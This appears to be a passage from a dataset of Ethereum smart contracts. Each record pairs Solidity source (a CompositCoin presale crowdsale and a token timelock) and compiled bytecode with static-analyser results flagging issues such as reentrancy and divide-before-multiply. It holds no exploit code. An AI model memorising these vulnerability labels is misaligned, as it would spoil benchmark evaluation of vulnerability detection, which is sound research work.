73ffffffffffffffffffffffffffffffffffffffff166340c10f1987856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561099b57600080fd5b5af115156109a857600080fd5b5050506040518051905050610a0585600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f790919063ffffffff16565b600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188786604051808381526020018281526020019250505060405180910390a36009546007541180610aec575060006002811115610acf57fe5b600060159054906101000a900460ff166002811115610aea57fe5b145b15610afb57610afa85611715565b5b60008060006101000a81548160ff021916908315150217905550505050505050565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b7957600080fd5b80600381905550610b9a6201518083026003546116f790919063ffffffff16565b6004819055508360098190555082600a81905550610bb8600161177a565b50505050565b600e6020528060005260406000206000915090505481565b60055481565b60045481565b600f6020528060005260406000206000915090505481565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c5657600080fd5b600954600754111515610c6857600080fd5b610c72600261177a565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1515610d5057600080fd5b5af11515610d5d57600080fd5b505050610d803073ffffffffffffffffffffffffffffffffffffffff1631611715565b565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806002811115610ddc57fe5b600060159054906101000a900460ff166002811115610df757fe5b14158015610e085750600954600754105b8015610e15575060045442115b1515610e2057600080fd5b6000809054906101000a900460ff16151515610e3b57600080fd5b60016000806101000a81548160ff021916908315150217905550600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610f1c57600080fd5b60008060006101000a81548160ff02191690831515021790555050565b60008060006003544210158015610f5257506004544211155b9050808015610f86575060016002811115610f6957fe5b600060159054906101000a900460ff166002811115610f8457fe5b145b80610fb6575060006002811115610f9957fe5b600060159054906101000a900460ff166002811115610fb457fe5b145b1515610fc157600080fd5b6000806002811115610fcf57fe5b600060159054906101000a900460ff166002811115610fea57fe5b1415610ffe57600b54600754109050611008565b600a546007541090505b80151561101457600080fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806110bd5750600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156110c857600080fd5b6110dc60648661180f90919063ffffffff16565b93506110e7846116d9565b92506110fe846007546116f790919063ffffffff16565b600781905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1987856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156111c857600080fd5b5af115156111d557600080fd5b505050604051805190505061123284600f60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f790919063ffffffff16565b600f60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050505050565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112d957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561131557600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113db57600080fd5b600081141515156113eb57600080fd5b8060068190555050565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b60065481565b60035481565b60085481565b600b5481565b600060159054906101000a900460ff1681565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114a857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156114e457600080fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095481565b60006004544211905090565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561159657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115d257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600060016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a5481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008082848115156116cc57fe5b0490508091505092915050565b60006116f06005548361180f90919063ffffffff16565b9050919050565b600080828401905083811015151561170b57fe5b8091505092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561177757600080fd5b50565b60008060159054906101000a900460ff16905081600060156101000a81548160ff021916908360028111156117ab57fe5b02179055507fe8a97ea87e4388fa22d496b95a8ed5ced6717f49790318de2b928aaf37a021d88183604051808360028111156117e357fe5b60ff1681526020018260028111156117f757fe5b60ff1681526020019250505060405180910390a15050565b60008060008414156118245760009150611843565b828402905082848281151561183557fe5b0414151561183f57fe5b8091505b50929150505600a165627a7a723058209980117f82899dcccdb6d3dfcf30ce3bfd132394b6cc28f004a33182213ce2e80029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
39
0x878e3fbc58103a4e71cacaac034091341114e600
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // CompositCoin Presale. version 1.0 // // Enjoy. (c) Slava Brall / Begemot-Begemot Ltd 2017. The MIT Licence. // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } //Token parameters contract CompositCoin is MintableToken { string public constant name = "CompositCoin"; string public constant symbol = "CMC"; uint public constant decimals = 18; } /** * @title CompositCoinCrowdsale * @dev CompositCoinCrowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to an owner * as they arrive. */ contract CompositCoinCrowdsale is Ownable { using SafeMath for uint256; // The token being sold CompositCoin public token; uint256 public startTime = 0; uint256 public endTime; bool public isFinished = false; // how many ETH cost 10000 CMC. rate = 10000 CMC/ETH. It's always an integer! //formula for rate: rate = 10000 * (CMC in USD) / (ETH in USD) uint256 public rate; // amount of raised money in wei uint256 public weiRaised; //string public saleStatus = "Don't started"; uint public tokensMinted = 0; uint public minimumSupply = 1; //minimum token amount to sale through one transaction uint public constant HARD_CAP_TOKENS = 1000000 * 10**18; event TokenPurchase(address indexed purchaser, uint256 value, uint256 ether_value, uint256 amount, uint256 tokens_amount, uint256 _tokensMinted, uint256 tokensSoldAmount); event PresaleFinished(); function CompositCoinCrowdsale(uint256 _rate) public { require(_rate > 0); require (_rate < 10000); token = createTokenContract(); startTime = now; rate = _rate; owner = address(0xc5EaE151b4c8c88e2Fc76a33595657732D65004a); } function finishPresale() public onlyOwner { isFinished = true; endTime = now; token.finishMinting(); PresaleFinished(); } function setRate(uint _rate) public onlyOwner { require (_rate > 0); require (_rate <=10000); rate = _rate; } function createTokenContract() internal returns (CompositCoin) { return new CompositCoin(); } // fallback function can be used to buy tokens function () external payable { buyTokens(); } // low level token purchase function function buyTokens() public payable { require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(10000).div(rate); mintToken(msg.sender, tokens, weiAmount); forwardFunds(); } function forwardFunds() internal { owner.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal view returns (bool) { bool withinPeriod = startTime > 0 && !isFinished; bool validAmount = msg.value >= (minimumSupply * 10**18 * rate).div(10000); return withinPeriod && validAmount; } function adminMint(address _to, uint256 _amount) onlyOwner public returns(bool) { require(!isFinished); uint256 weiAmount = _amount.div(10000).mul(rate); return mintToken(_to, _amount, weiAmount); } function mintToken(address _to, uint256 _amount, uint256 _value) private returns(bool) { require(tokensMinted.add(_amount) <= HARD_CAP_TOKENS); weiRaised = weiRaised.add(_value); token.mint(_to, _amount); tokensMinted = tokensMinted.add(_amount); TokenPurchase(_to, _value, _value.div(10**18), _amount, _amount.div(10**18), tokensMinted, tokensMinted.div(10**18)); return true; } }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632c4e722e146100e55780633197cbb61461011057806334fcf4371461013b5780634042b66f146101685780636de9f32b1461019357806378e97925146101be5780637b352962146101e95780637ede036d146102185780638da5cb5b14610243578063974654c61461029a578063b1c16a2b146102b1578063d0febe4c146102dc578063e58306f9146102e6578063f2fde38b1461034b578063fc0c546a1461038e575b6100e36103e5565b005b3480156100f157600080fd5b506100fa610441565b6040518082815260200191505060405180910390f35b34801561011c57600080fd5b50610125610447565b6040518082815260200191505060405180910390f35b34801561014757600080fd5b506101666004803603810190808035906020019092919050505061044d565b005b34801561017457600080fd5b5061017d6104d2565b6040518082815260200191505060405180910390f35b34801561019f57600080fd5b506101a86104d8565b6040518082815260200191505060405180910390f35b3480156101ca57600080fd5b506101d36104de565b6040518082815260200191505060405180910390f35b3480156101f557600080fd5b506101fe6104e4565b604051808215151515815260200191505060405180910390f35b34801561022457600080fd5b5061022d6104f7565b6040518082815260200191505060405180910390f35b34801561024f57600080fd5b506102586104fd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102a657600080fd5b506102af610522565b005b3480156102bd57600080fd5b506102c661068f565b6040518082815260200191505060405180910390f35b6102e46103e5565b005b3480156102f257600080fd5b50610331600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069d565b604051808215151515815260200191505060405180910390f35b34801561035757600080fd5b5061038c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610756565b005b34801561039a57600080fd5b506103a36108ab565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000806103f06108d1565b15156103fb57600080fd5b3491506104276005546104196127108561093190919063ffffffff16565b61096c90919063ffffffff16565b9050610434338284610987565b5061043d610bc0565b5050565b60055481565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156104a857600080fd5b6000811115156104b757600080fd5b61271081111515156104c857600080fd5b8060058190555050565b60065481565b60075481565b60025481565b600460009054906101000a900460ff1681565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561057d57600080fd5b6001600460006101000a81548160ff02191690831515021790555042600381905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637d64bcb46040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561062557600080fd5b505af1158015610639573d6000803e3d6000fd5b505050506040513d602081101561064f57600080fd5b8101908080519060200190929190505050507f0b5ca8ee9a23a12c9bb341511e83987d73bee14e96dc855aeaea8840c54ea0bd60405160405180910390a1565b69d3c21bcecceda100000081565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106fb57600080fd5b600460009054906101000a900460ff1615151561071757600080fd5b6107406005546107326127108661096c90919063ffffffff16565b61093190919063ffffffff16565b905061074d848483610987565b91505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107b157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107ed57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806002541180156108f45750600460009054906101000a900460ff16155b915061091b612710600554670de0b6b3a7640000600854020261096c90919063ffffffff16565b341015905081801561092a5750805b9250505090565b60008060008414156109465760009150610965565b828402905082848281151561095757fe5b0414151561096157fe5b8091505b5092915050565b600080828481151561097a57fe5b0490508091505092915050565b600069d3c21bcecceda10000006109a984600754610c2a90919063ffffffff16565b111515156109b657600080fd5b6109cb82600654610c2a90919063ffffffff16565b600681905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1985856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a9657600080fd5b505af1158015610aaa573d6000803e3d6000fd5b505050506040513d6020811015610ac057600080fd5b810190808051906020019092919050505050610ae783600754610c2a90919063ffffffff16565b6007819055508373ffffffffffffffffffffffffffffffffffffffff167ffc21a4eb1668489aaa43a8f84557802d1cf6a87097cbbfb7d3cb847a298514d683610b41670de0b6b3a76400008661096c90919063ffffffff16565b86610b5d670de0b6b3a76400008961096c90919063ffffffff16565b600754610b7d670de0b6b3a764000060075461096c90919063ffffffff16565b60405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390a2600190509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610c27573d6000803e3d6000fd5b50565b6000808284019050838110151515610c3e57fe5b80915050929150505600a165627a7a72305820fd819ad862a2e6762bc1ca22c342b1df718f85455f844cf3e4ef1581d1294a070029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
40
0x0db027b592402e5a11df7a272485794222baccf3
/** *Submitted for verification at Etherscan.io on 2021-04-29 */ pragma solidity ^0.5.2; // File: contracts/token/ERC20/IERC20.sol // @title ERC20 interface // @dev see https://eips.ethereum.org/EIPS/eip-20 interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/math/SafeMath.sol /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: contracts/utils/Address.sol /** * Utility library of inline functions on addresses */ library Address { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // File: contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require((value == 0) || (token.allowance(address(this), spender) == 0)); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must equal true). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. require(address(token).isContract()); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool))); } } } // File: contracts/token/ERC20/TokenTimelock.sol /** * @title TokenTimelock * @dev TokenTimelock is a token holder contract that will allow a * beneficiary to extract the tokens after a given release time */ contract TokenTimelock { using SafeERC20 for IERC20; // ERC20 basic token contract being held IERC20 private _token; // beneficiary of tokens after they are released address private _beneficiary; // timestamp when token release is enabled uint256 private _releaseTime; constructor (IERC20 token, address beneficiary, uint256 releaseTime) public { // solhint-disable-next-line not-rely-on-time require(releaseTime > block.timestamp); _token = token; _beneficiary = beneficiary; _releaseTime = releaseTime; } /** * @return the token being held. */ function token() public view returns (IERC20) { return _token; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the time when the tokens are released. */ function releaseTime() public view returns (uint256) { return _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public { // solhint-disable-next-line not-rely-on-time require(block.timestamp >= _releaseTime); uint256 amount = _token.balanceOf(address(this)); require(amount > 0); _token.safeTransfer(_beneficiary, amount); } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806338af3eed1461005157806386d1a69f1461009b578063b91d4001146100a5578063fc0c546a146100c3575b600080fd5b61005961010d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100a3610137565b005b6100ad6102a1565b6040518082815260200191505060405180910390f35b6100cb6102ab565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60025442101561014657600080fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156101e657600080fd5b505afa1580156101fa573d6000803e3d6000fd5b505050506040513d602081101561021057600080fd5b810190808051906020019092919050505090506000811161023057600080fd5b61029e600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166102d49092919063ffffffff16565b50565b6000600254905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6103a0838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506103a5565b505050565b6103c48273ffffffffffffffffffffffffffffffffffffffff166104d2565b6103cd57600080fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b6020831061041c57805182526020820191506020810190506020830392506103f9565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461047e576040519150601f19603f3d011682016040523d82523d6000602084013e610483565b606091505b50915091508161049257600080fd5b6000815111156104cc578080602001905160208110156104b157600080fd5b81019080805190602001909291905050506104cb57600080fd5b5b50505050565b600080823b90506000811191505091905056fea265627a7a7231582091478810572cf24c9b4b0bddcb63a740b376aaffdeb48ff7128b23cff937fa4a6473